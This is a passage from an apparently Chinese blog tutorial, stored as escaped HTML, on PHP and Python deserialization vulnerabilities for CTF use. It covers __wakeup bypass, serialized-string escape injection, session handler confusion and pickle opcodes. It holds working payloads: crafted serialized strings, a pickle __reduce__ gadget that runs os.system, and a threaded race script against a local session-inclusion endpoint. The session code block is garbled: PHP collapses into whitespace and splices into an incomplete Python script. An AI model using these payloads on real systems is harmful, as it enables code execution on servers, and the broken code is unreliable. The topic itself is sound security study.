\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h3>\n<h4>PHP\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h4>\n<h5>Wakeup\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h5>\n<h6>\u6f0f\u6d1e\u539f\u7406<\/h6>\n<p>PHP\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff1a\u5982\u679c\u4e00\u4e2a\u7c7b\u5b9a\u4e49\u4e86<em>_wakup()\u548c<\/em>_destruct()\uff0c\u5219\u8be5\u7c7b\u7684\u5b9e\u4f8b\u88ab\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u4f1a\u81ea\u52a8\u8c03\u7528<em>_wakeup(), \u751f\u547d\u5468\u671f\u7ed3\u675f\u65f6\uff0c\u5219\u8c03\u7528<\/em>_desturct()\u3002<\/p>\n<p>\u5f53\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u4e2d\u5c5e\u6027\u503c\u4e2a\u6570\u5927\u4e8e\u5c5e\u6027\u4e2a\u6570\uff0c\u5c31\u4f1a\u5bfc\u81f4\u53cd\u5e8f\u5217\u5316\u5f02\u5e38\uff0c\u4ece\u800c\u8df3\u8fc7__wakeup()\u3002<\/p>\n<h6>\u5229\u7528\u65b9\u5f0f<\/h6>\n<ol>\n<li>\n<p>\u5148\u8fdb\u884c\u5e8f\u5217\u5316\u64cd\u4f5c<\/p>\n<\/li>\n<li>\n<p>\u5f97\u5230\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff0c\u5c06Object\u6570+1<\/p>\n<p>ps\uff1aprivate\u3001protected \u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u5e8f\u5217\u5316\u4e4b\u540e\u5b57\u7b26\u4e32\u9996\u5c3e\u90fd\u4f1a\u52a0\u4e0a%00\uff0c\u5b57\u7b26\u4e32\u957f\u5ea6\u4e5f\u6bd4\u5b9e\u9645\u957f\u5ea6\u5927 2\uff0c\u5982\u679c\u5c06\u5e8f\u5217\u5316\u7ed3\u679c\u590d\u5236\u5230\u5728\u7ebf\u7684 base64 \u7f51\u7ad9\u8fdb\u884c\u7f16\u7801\u53ef\u80fd\u5c31\u4f1a\u4e22\u6389\u7a7a\u767d\u5b57\u7b26\uff0c\u5efa\u8bae\u76f4\u63a5\u5728php \u4ee3\u7801\u91cc\u8fdb\u884c\u7f16\u7801\uff1b\u82e5\u5bf9%\u8fc7\u6ee4\uff0c\u5219\u53ef\u5c06S\u5927\u5199\uff0c\u7136\u540e\u4f7f\u752816\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7<\/p>\n<\/li>\n<\/ol>\n<h5>\u5b57\u7b26\u9003\u9038<\/h5>\n<h6>\u6f0f\u6d1e\u539f\u7406<\/h6>\n<p>\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\u5c31\u662f\u78b0\u5230<code>;}<\/code>\u4e0e\u6700\u524d\u9762\u7684<code>{<\/code>\u914d\u5bf9\u540e\uff0c\u4fbf\u505c\u6b62\u53cd\u5e8f\u5217\u5316<\/p>\n<pre><code>O:6:&quot;people&quot;:3:{s:4:&quot;name&quot;;s:3:&quot;Tom&quot;;s:3:&quot;sex&quot;;s:3:&quot;boy&quot;;s:3:&quot;age&quot;;s:2:&quot;12&quot;;}\nO:6:&quot;people&quot;:3:{s:4:&quot;name&quot;;s:3:&quot;Tom&quot;;s:3:&quot;sex&quot;;s:3:&quot;boy&quot;;s:3:&quot;age&quot;;s:2:&quot;12&quot;;}123123<\/code><\/pre>\n<h6>\u5229\u7528\u65b9\u5f0f<\/h6>\n<ul>\n<li>\u5b57\u7b26\u589e\u591a<br \/>\n\u5728\u9898\u76ee\u4e2d\uff0c\u5f80\u5f80\u5bf9\u4e00\u4e9b\u5173\u952e\u5b57\u4f1a\u8fdb\u884c\u4e00\u4e9b\u8fc7\u6ee4\uff0c\u4f7f\u7528\u7684\u624b\u6bb5\u901a\u5e38\u66ff\u6362\u5173\u952e\u5b57\uff0c\u4f7f\u5f97\u4e00\u4e9b\u5173\u952e\u5b57\u589e\u591a\uff0c\u7b80\u5355\u8ba4\u8bc6\u4e00\u4e0b\uff0c\u6b63\u5e38\u5e8f\u5217\u5316\u67e5\u770b\u7ed3\u679c<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/618b58ca9718fdab8eda14aa708ca042.png#pic_center\" alt=\"\u5b57\u7b26\u589e\u591a\" \/><\/li>\n<\/ul>\n<p>\u8fd9\u91cc\uff0c\u6211\u4eec\u5bf9\u5e8f\u5217\u5316\u540e\u7684\u5b57\u7b26\u4e32\u8fdb\u884c\u4e86\u66ff\u6362\uff0c\u4f7f\u5f97\u540e\u6765\u7684\u53cd\u5e8f\u5217\u5316\u62a5\u9519\uff0c\u90a3\u6211\u4eec\u5c31\u9700\u8981\u5728Tom\u8fd9\u91cc\u9762\u7684\u5b57\u7b26\u4e32\u505a\u624b\u811a\uff0c\u5728username\u4e4b\u540e\u53ea\u6709\u4e00\u4e2aage\uff0c\u6240\u4ee5\u5728\u53cc\u5f15\u53f7\u91cc\u9762\u53ef\u4ee5\u6784\u9020\u6211\u9700\u8981\u7684username\u4e4b\u540e\u53c2\u6570\u7684\u503c\uff0c\u8fd9\u91cc\u4fee\u6539age\u7684\u503c\uff0c\u6211\u4eec\u8fd9\u91cc\u5c06Tom\u66ff\u6362\u4e3a<code>Tom&quot;;s:3:&quot;age&quot;;s:2:&quot;35&quot;;}<\/code>\u7136\u540e\u8fdb\u884c\u53cd\u5e8f\u5217\u5316<\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u6784\u9020\u51fa\u6765\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u957f\u5ea6\u4e3a25\uff0c\u800c\u5728\u4e0a\u9762\u7684\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0c\u4ed6\u4f1a\u5c06\u4e00\u4e2a<code>o<\/code>\u53d8\u6210\u4e24\u4e2a<code>oo<\/code>\uff0c\u90a3\u4e48\u5f97\u5230\u7684\u5e94\u8be5\u5c31\u662f<code>s:25:&quot;Toom&quot;<\/code>\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u8ba9\u8fd9\u4e2a\u53cc\u5f15\u53f7\u91cc\u9762\u7684\u5b57\u7b26\u4e32\u5728\u8fc7\u6ee4\u66ff\u6362\u4e4b\u540e\u771f\u7684\u6709\u63cf\u8ff0\u7684\u8fd9\u4e48\u957f\uff0c\u8ba9\u4ed6\u4e0d\u8981\u62a5\u9519\uff0c\u518d\u914d\u5408\u53cd\u5e8f\u5217\u5316\u7684\u7279\u70b9\uff08\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\u78b0\u5230<code>;}<\/code>\u4e0e\u6700\u524d\u9762\u7684<code>{<\/code>\u914d\u5bf9\u540e\uff0c\u4fbf\u505c\u6b62\u53cd\u5e8f\u5217\u5316\uff09\u95ed\u5408\u540e\u5ffd\u7565\u540e\u9762\u7684<code>age:13<\/code>\u7684\u5b57\u7b26\u4e32\u6210\u529f\u4f7f\u5f97age\u88ab\u4fee\u6539\u4e3a35<\/p>\n<h6>\u5b57\u7b26\u51cf\u5c11<\/h6>\n<p>\u539f\u7406\u662f\u4e00\u6837\u7684\uff0c\u5dee\u522b\u5728\u4e8e\u6211\u4eec\u9700\u8981\u6784\u9020\u989d\u5916\u7684\u6570\u636e\u8ba9\u5b83\u201c\u541e\u566c\u201d<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/90d39639679c82a1428beef888cd218c.png#pic_center\" alt=\"\u5b57\u7b26\u51cf\u5c11\" \/><br \/>\n\u8fd9\u91cc\u7684\u9519\u8bef\u662f\u56e0\u4e3a<code>s:5:&quot;zddo&quot;<\/code>\u957f\u5ea6\u4e0d\u591f\uff0c\u4ed6\u5411\u540e\u541e\u566c\u4e86\u4e00\u4e2a\u53cc\u5f15\u53f7\uff0c\u5bfc\u81f4\u53cd\u5e8f\u5217\u5316\u683c\u5f0f\u9519\u8bef\uff0c\u4ece\u800c\u62a5\u9519<br \/>\n\u9009\u4e2d\u90e8\u5206\u5c31\u662f\u6211\u4eec\u6784\u9020\u51fa\u6765\uff0c\u4ed6\u9700\u8981\u541e\u566c\u7684\u4ee3\u7801<code>s:22:&quot;&quot;<\/code>\u8fd9\u4e2a\u53cc\u5f15\u53f7\u91cc\u9762\u6211\u4eec\u8fd8\u6709\u64cd\u4f5c\u7684\u7a7a\u95f4\uff0c\u7528\u6765\u8865\u9f50\u5b57\u7b26\u4e32\u957f\u5ea6\uff0c\u63a5\u7740\u5c31\u662f\u8ba1\u7b97\u6211\u4eec\u81ea\u5df1\u6240\u9700\u8981\u5403\u6389\u7684\u5b57\u7b26\u4e32\u957f\u5ea6\u4e3a18\uff0c\u6839\u636e\u8fc7\u6ee4\uff0c\u4ed6\u662f\u5c06\u4e24\u4e2a<code>o<\/code>\u53d8\u6210\u4e00\u4e2a\uff0c\u4e5f\u5c31\u662f\u6bcf\u5403\u6389\u4e00\u4e2a\u5b57\u7b26\uff0c\u5c31\u9700\u8981\u6709\u4e00\u4e2a<code>oo<\/code>\uff0c\u90a3\u6211\u4eec\u9700\u8981\u5403\u6389\u7684\u662f18\u4e2a\u957f\u5ea6\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u9700\u898118\u4e2a<code>oo<\/code>\uff0c\u5728\u541e\u566c\u7ed3\u675f\u4e4b\u540e\u6211\u4eec\u7684\u683c\u5f0f\u53c8\u6062\u590d\u6b63\u786e\uff0c\u4f7f\u5f97\u771f\u6b63\u7684\u5b57\u7b26<code>s:3:&quot;age&quot;;s:2:&quot;35&quot;;<\/code>\u9003\u9038\u51fa\u6765<\/p>\n<h6>\u53c2\u8003\u6587\u7ae0<\/h6>\n<p><a href=\"https:\/\/blog.csdn.net\/qq_38154820\/article\/details\/109523841\" target=\"_blank\"  rel=\"nofollow\" >\u7ec6\u8bf4php\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u9003\u9038<\/a><\/p>\n<h5>session\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h5>\n<h6>\u6f0f\u6d1e\u539f\u7406<\/h6>\n<p>php\u63d0\u4f9b\u4ee5\u4e0b\u4e09\u79cd\u5904\u7406\u5668\u6765\u5904\u7406\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u95ee\u9898<\/p>\n<table>\n<thead>\n<tr>\n<th>\u5904\u7406\u5668<\/th>\n<th>\u5bf9\u5e94\u7684\u5b58\u50a8\u683c\u5f0f<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>php<\/td>\n<td>\u952e\u540d \uff0b \u7ad6\u7ebf \uff0b \u7ecf\u8fc7 serialize() \u51fd\u6570\u53cd\u5e8f\u5217\u5904\u7406\u7684\u503c<\/td>\n<\/tr>\n<tr>\n<td>php_binary<\/td>\n<td>\u952e\u540d\u7684\u957f\u5ea6\u5bf9\u5e94\u7684 ASCII \u5b57\u7b26 \uff0b \u952e\u540d \uff0b \u7ecf\u8fc7 serialize() \u51fd\u6570\u53cd\u5e8f\u5217\u5904\u7406\u7684\u503c<\/td>\n<\/tr>\n<tr>\n<td>php_serialize(php&gt;=5.5.4)<\/td>\n<td>\u7ecf\u8fc7 serialize() \u51fd\u6570\u53cd\u5e8f\u5217\u5904\u7406\u7684\u6570\u7ec4<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u5f53\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u4f7f\u7528\u7684\u5904\u7406\u76f8\u540c\u65f6\u5e76\u4e0d\u4f1a\u51fa\u73b0\u4ec0\u4e48\u95ee\u9898\uff0c\u4f46\u662f\u5f53\u5e8f\u5217\u5316\u91c7\u7528php_serialize\u5904\u7406\u800c\u53cd\u5e8f\u5217\u5316\u91c7\u7528php\u5904\u7406\u7684\u65f6\u5019\uff0c\u82e5\u7528\u6237\u6ce8\u5165\u6570\u636e<code>a=|O:4:&quot;test&quot;:0:{}<\/code>\uff0c\u90a3\u4e48\u8fd9\u65f6\u5019session\u4e2d\u7684\u5185\u5bb9\u662f<code>a:1:{s:1:&quot;a&quot;;s:16:&quot;|O:4:&quot;test&quot;:0:{}&quot;;}<\/code>\uff0c\u7ecfphp\u53cd\u5e8f\u5217\u5316\u540e\uff0c<code>a:1:{s:1:&quot;a&quot;;s:16:&quot;<\/code>\u88ab\u770b\u6210\u662f\u952e\u540d\uff0ctest\u5bf9\u8c61\u88ab\u5b9e\u4f8b\u5316<\/p>\n<h6>\u653b\u51fb\u65b9\u5f0f<\/h6>\n<p>\u5206\u4e3a\u4e24\u79cd\u60c5\u51b5\uff1a\u6709\u53ef\u63a7\u53c2\u6570\u548c\u65e0\u53ef\u63a7\u53c2\u6570<br \/>\n\u6709\u53ef\u63a7\u53c2\u6570\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ?&gt;&#039;}, files={&#039;file&#039;: (&#039;tgao.txt&#039;,f)}, cookies={&#039;PHPSESSID&#039;: sessid} )\ndef read(session):\n    while True:\n        resp = session.post(&#039;http:\/\/127.0.0.1:5555\/test56.php?file=session\/sess_&#039;+sessid,data=data)\n        if &#039;tgao.txt&#039; in resp.text:\n            print(resp.text)\n            event.clear()\n        else:\n            print(&quot;[+++++++++++++]retry&quot;)\nif __name__==&quot;__main__&quot;:\n    event=threading.Event()\n    with requests.session() as session:\n        for i in xrange(1,30): \n            threading.Thread(target=write,args=(session,)).start()\n\u200b\n        for i in xrange(1,30):\n            threading.Thread(target=read,args=(session,)).start()\n    event.set()\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h5>\u53c2\u8003\u6587\u7ae0<\/h5>\n<p><a href=\"https:\/\/www.freebuf.com\/vuls\/202819.html\" target=\"_blank\"  rel=\"nofollow\" >\u5229\u7528session.upload_progress\u8fdb\u884c\u6587\u4ef6\u5305\u542b\u548c\u53cd\u5e8f\u5217\u5316\u6e17\u900f<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/qq_61237064\/article\/details\/123405767\" target=\"_blank\"  rel=\"nofollow\" >session.upload_progress\u53cd\u5e8f\u5217\u5316\u5b66\u4e60<\/a><\/p>\n<h4>Python\u53cd\u5e8f\u5217\u5316<\/h4>\n<h5>pickle<\/h5>\n<h6>\u6f0f\u6d1e\u539f\u7406<\/h6>\n<p>\u901a\u8fc7\u91cd\u5199\u7c7b\u7684 <code>object.__reduce__()<\/code> \u51fd\u6570\uff0c\u4f7f\u4e4b\u5728\u88ab\u5b9e\u4f8b\u5316\u65f6\u6309\u7167\u91cd\u5199\u7684\u65b9\u5f0f\u8fdb\u884c<\/p>\n<h6>\u653b\u51fb\u65b9\u5f0f<\/h6>\n<h6>\u91cd\u5199<code>__reduce__()<\/code><\/h6>\n<p>\u8be5\u63a5\u53e3\u5f53\u524d\u5b9a\u4e49\u5982\u4e0b\u793a\u4f8b\uff0c<code>__reduce__()<\/code> \u65b9\u6cd5\u4e0d\u5e26\u4efb\u4f55\u53c2\u6570\uff0c\u5e76\u4e14\u5e94\u8fd4\u56de\u5b57\u7b26\u4e32\u6216\u6700\u597d\u8fd4\u56de\u4e00\u4e2a(callable, ([para1,para2\u2026])[,\u2026]) \u7684\u5143\u7ec4\uff08\u8fd4\u56de\u7684\u5bf9\u8c61\u901a\u5e38\u79f0\u4e3a\u201creduce \u503c\u201d\uff09<\/p>\n<pre><code class=\"language-python\">import pickle\nimport os\n\nclass test():\n    def __reduce__(self):\n        command=r&quot;whoami&quot;\n        return (os.system,(command,))\n\nopcode=pickle.dumps(test())\nprint(opcode)\npickle.loads(opcode)<\/code><\/pre>\n<p>\u4f46\u662f\u8fd9\u6837\u53ea\u80fd\u6267\u884c\u4e00\u4e2a\u51fd\u6570\uff0c\u5728CTF\u4e2d\uff0c\u5f88\u591a\u65f6\u5019\u9700\u8981\u4e00\u6b21\u6267\u884c\u591a\u4e2a\u51fd\u6570\u6216\u4e00\u6b21\u8fdb\u884c\u591a\u4e2a\u6307\u4ee4\uff0c\u6b64\u65f6\u5c31\u4e0d\u80fd\u5149\u7528 <code>__reduce__<\/code> \u6765\u89e3\u51b3\u95ee\u9898\uff08reduce\u4e00\u6b21\u53ea\u80fd\u6267\u884c\u4e00\u4e2a\u51fd\u6570\uff0c\u5f53exec\u88ab\u7981\u7528\u65f6\uff0c\u5c31\u4e0d\u80fd\u4e00\u6b21\u6267\u884c\u591a\u6761\u6307\u4ee4\u4e86\uff0c\u9700\u8981\u4f7f\u7528\u5230<code>opcode<\/code>\u8fd9\u4e2a\u66f4\u4e3a\u5e95\u5c42\u7684\u5b9e\u73b0\uff0c\u7531\u4e8e\u7248\u672c0\u7684<code>pickle opcode<\/code>\u66f4\u5bb9\u6613\u4e3a\u4eba\u6240\u7406\u89e3\uff0c\u4ee5\u4e0b\u90fd\u4ee5\u7248\u672c0\u7684<code>opcode<\/code>\u4e3a\u4f8b\u5b50<\/p>\n<h6>opcode<\/h6>\n<table>\n<thead>\n<tr>\n<th>opcode<\/th>\n<th>\u63cf\u8ff0<\/th>\n<th>\u5177\u4f53\u5199\u6cd5<\/th>\n<th>\u6808\u4e0a\u7684\u53d8\u5316<\/th>\n<th>memo\u4e0a\u7684\u53d8\u5316<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>c<\/td>\n<td>\u83b7\u53d6\u4e00\u4e2a\u5168\u5c40\u5bf9\u8c61\u6216import\u4e00\u4e2a\u6a21\u5757\uff08\u6ce8\uff1a\u4f1a\u8c03\u7528import\u8bed\u53e5\uff0c\u80fd\u591f\u5f15\u5165\u65b0\u7684\u5305<\/td>\n<td>c[module]\\n[instance]\\n<\/td>\n<td>\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>o<\/td>\n<td>\u5bfb\u627e\u6808\u4e2d\u7684\u4e0a\u4e00\u4e2aMARK\uff0c\u4ee5\u4e4b\u95f4\u7684\u7b2c\u4e00\u4e2a\u6570\u636e\uff08\u5fc5\u987b\u4e3a\u51fd\u6570\uff09\u4e3acallable\uff0c\u7b2c\u4e8c\u4e2a\u5230\u7b2cn\u4e2a\u6570\u636e\u4e3a\u53c2\u6570\uff0c\u6267\u884c\u8be5\u51fd\u6570\uff08\u6216\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\uff09<\/td>\n<td>o<\/td>\n<td>\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\u6d89\u53ca\u5230\u7684\u6570\u636e\u90fd\u51fa\u6808\uff0c\u51fd\u6570\u7684\u8fd4\u56de\u503c\uff08\u6216\u751f\u6210\u7684\u5bf9\u8c61\uff09\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>i<\/td>\n<td>\u76f8\u5f53\u4e8ec\u548co\u7684\u7ec4\u5408\uff0c\u5148\u83b7\u53d6\u4e00\u4e2a\u5168\u5c40\u51fd\u6570\uff0c\u7136\u540e\u5bfb\u627e\u6808\u4e2d\u7684\u4e0a\u4e00\u4e2aMARK\uff0c\u5e76\u7ec4\u5408\u4e4b\u95f4\u7684\u6570\u636e\u4e3a\u5143\u7ec4\uff0c\u4ee5\u8be5\u5143\u7ec4\u4e3a\u53c2\u6570\u6267\u884c\u5168\u5c40\u51fd\u6570\uff08\u6216\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\uff09<\/td>\n<td>i[module]\\n[callable]\\n<\/td>\n<td>\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\u6d89\u53ca\u5230\u7684\u6570\u636e\u90fd\u51fa\u6808\uff0c\u51fd\u6570\u8fd4\u56de\u503c\uff08\u6216\u751f\u6210\u7684\u5bf9\u8c61\uff09\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>N<\/td>\n<td>\u5b9e\u4f8b\u5316\u4e00\u4e2aNone<\/td>\n<td>N<\/td>\n<td>\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>S<\/td>\n<td>\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5b57\u7b26\u4e32\u5bf9\u8c61<\/td>\n<td>S\u2019xxx\u2019\\n\uff08\u4e5f\u53ef\u4ee5\u4f7f\u7528\u53cc\u5f15\u53f7\u3001'\u7b49python\u5b57\u7b26\u4e32\u5f62\u5f0f\uff09<\/td>\n<td>\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>V<\/td>\n<td>\u5b9e\u4f8b\u5316\u4e00\u4e2aUNICODE\u5b57\u7b26\u4e32\u5bf9\u8c61<\/td>\n<td>Vxxx\\n<\/td>\n<td>\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>I<\/td>\n<td>\u5b9e\u4f8b\u5316\u4e00\u4e2aint\u5bf9\u8c61<\/td>\n<td>Ixxx\\n<\/td>\n<td>\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>F<\/td>\n<td>\u5b9e\u4f8b\u5316\u4e00\u4e2afloat\u5bf9\u8c61<\/td>\n<td>Fx.x\\n<\/td>\n<td>\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>R<\/td>\n<td>\u9009\u62e9\u6808\u4e0a\u7684\u7b2c\u4e00\u4e2a\u5bf9\u8c61\u4f5c\u4e3a\u51fd\u6570\u3001\u7b2c\u4e8c\u4e2a\u5bf9\u8c61\u4f5c\u4e3a\u53c2\u6570\uff08\u7b2c\u4e8c\u4e2a\u5bf9\u8c61\u5fc5\u987b\u4e3a\u5143\u7ec4\uff09\uff0c\u7136\u540e\u8c03\u7528\u8be5\u51fd\u6570<\/td>\n<td>R<\/td>\n<td>\u51fd\u6570\u548c\u53c2\u6570\u51fa\u6808\uff0c\u51fd\u6570\u7684\u8fd4\u56de\u503c\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>.<\/td>\n<td>\u7a0b\u5e8f\u7ed3\u675f\uff0c\u6808\u9876\u7684\u4e00\u4e2a\u5143\u7d20\u4f5c\u4e3apickle.loads()\u7684\u8fd4\u56de\u503c<\/td>\n<td>.<\/td>\n<td>\u65e0<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>(<\/td>\n<td>\u5411\u6808\u4e2d\u538b\u5165\u4e00\u4e2aMARK\u6807\u8bb0<\/td>\n<td>(<\/td>\n<td>MARK\u6807\u8bb0\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>t<\/td>\n<td>\u5bfb\u627e\u6808\u4e2d\u7684\u4e0a\u4e00\u4e2aMARK\uff0c\u5e76\u7ec4\u5408\u4e4b\u95f4\u7684\u6570\u636e\u4e3a\u5143\u7ec4<\/td>\n<td>t<\/td>\n<td>MARK\u6807\u8bb0\u4ee5\u53ca\u88ab\u7ec4\u5408\u7684\u6570\u636e\u51fa\u6808\uff0c\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>)<\/td>\n<td>\u5411\u6808\u4e2d\u76f4\u63a5\u538b\u5165\u4e00\u4e2a\u7a7a\u5143\u7ec4<\/td>\n<td>)<\/td>\n<td>\u7a7a\u5143\u7ec4\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>l<\/td>\n<td>\u5bfb\u627e\u6808\u4e2d\u7684\u4e0a\u4e00\u4e2aMARK\uff0c\u5e76\u7ec4\u5408\u4e4b\u95f4\u7684\u6570\u636e\u4e3a\u5217\u8868<\/td>\n<td>l<\/td>\n<td>MARK\u6807\u8bb0\u4ee5\u53ca\u88ab\u7ec4\u5408\u7684\u6570\u636e\u51fa\u6808\uff0c\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>]<\/td>\n<td>\u5411\u6808\u4e2d\u76f4\u63a5\u538b\u5165\u4e00\u4e2a\u7a7a\u5217\u8868<\/td>\n<td>]<\/td>\n<td>\u7a7a\u5217\u8868\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>d<\/td>\n<td>\u5bfb\u627e\u6808\u4e2d\u7684\u4e0a\u4e00\u4e2aMARK\uff0c\u5e76\u7ec4\u5408\u4e4b\u95f4\u7684\u6570\u636e\u4e3a\u5b57\u5178\uff08\u6570\u636e\u5fc5\u987b\u6709\u5076\u6570\u4e2a\uff0c\u5373\u5448key-value\u5bf9\uff09<\/td>\n<td>d<\/td>\n<td>MARK\u6807\u8bb0\u4ee5\u53ca\u88ab\u7ec4\u5408\u7684\u6570\u636e\u51fa\u6808\uff0c\u83b7\u5f97\u7684\u5bf9\u8c61\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>}<\/td>\n<td>\u5411\u6808\u4e2d\u76f4\u63a5\u538b\u5165\u4e00\u4e2a\u7a7a\u5b57\u5178<\/td>\n<td>}<\/td>\n<td>\u7a7a\u5b57\u5178\u5165\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>p<\/td>\n<td>\u5c06\u6808\u9876\u5bf9\u8c61\u50a8\u5b58\u81f3memo_n<\/td>\n<td>pn\\n<\/td>\n<td>\u65e0<\/td>\n<td>\u5bf9\u8c61\u88ab\u50a8\u5b58<\/td>\n<\/tr>\n<tr>\n<td>g<\/td>\n<td>\u5c06memo_n\u7684\u5bf9\u8c61\u538b\u6808<\/td>\n<td>gn\\n<\/td>\n<td>\u5bf9\u8c61\u88ab\u538b\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>0<\/td>\n<td>\u4e22\u5f03\u6808\u9876\u5bf9\u8c61<\/td>\n<td>0<\/td>\n<td>\u6808\u9876\u5bf9\u8c61\u88ab\u4e22\u5f03<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>b<\/td>\n<td>\u4f7f\u7528\u6808\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\uff08\u50a8\u5b58\u591a\u4e2a\u5c5e\u6027\u540d: \u5c5e\u6027\u503c\u7684\u5b57\u5178\uff09\u5bf9\u7b2c\u4e8c\u4e2a\u5143\u7d20\uff08\u5bf9\u8c61\u5b9e\u4f8b\uff09\u8fdb\u884c\u5c5e\u6027\u8bbe\u7f6e<\/td>\n<td>b<\/td>\n<td>\u6808\u4e0a\u7b2c\u4e00\u4e2a\u5143\u7d20\u51fa\u6808<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>s<\/td>\n<td>\u5c06\u6808\u7684\u7b2c\u4e00\u4e2a\u548c\u7b2c\u4e8c\u4e2a\u5bf9\u8c61\u4f5c\u4e3akey-value\u5bf9\uff0c\u6dfb\u52a0\u6216\u66f4\u65b0\u5230\u6808\u7684\u7b2c\u4e09\u4e2a\u5bf9\u8c61\uff08\u5fc5\u987b\u4e3a\u5217\u8868\u6216\u5b57\u5178\uff0c\u5217\u8868\u4ee5\u6570\u5b57\u4f5c\u4e3akey\uff09\u4e2d<\/td>\n<td>s<\/td>\n<td>\u7b2c\u4e00\u3001\u4e8c\u4e2a\u5143\u7d20\u51fa\u6808\uff0c\u7b2c\u4e09\u4e2a\u5143\u7d20\uff08\u5217\u8868\u6216\u5b57\u5178\uff09\u6dfb\u52a0\u65b0\u503c\u6216\u88ab\u66f4\u65b0<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>u<\/td>\n<td>\u5bfb\u627e\u6808\u4e2d\u7684\u4e0a\u4e00\u4e2aMARK\uff0c\u7ec4\u5408\u4e4b\u95f4\u7684\u6570\u636e\uff08\u6570\u636e\u5fc5\u987b\u6709\u5076\u6570\u4e2a\uff0c\u5373\u5448key-value\u5bf9\uff09\u5e76\u5168\u90e8\u6dfb\u52a0\u6216\u66f4\u65b0\u5230\u8be5MARK\u4e4b\u524d\u7684\u4e00\u4e2a\u5143\u7d20\uff08\u5fc5\u987b\u4e3a\u5b57\u5178\uff09\u4e2d<\/td>\n<td>u<\/td>\n<td>MARK\u6807\u8bb0\u4ee5\u53ca\u88ab\u7ec4\u5408\u7684\u6570\u636e\u51fa\u6808\uff0c\u5b57\u5178\u88ab\u66f4\u65b0<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>a<\/td>\n<td>\u5c0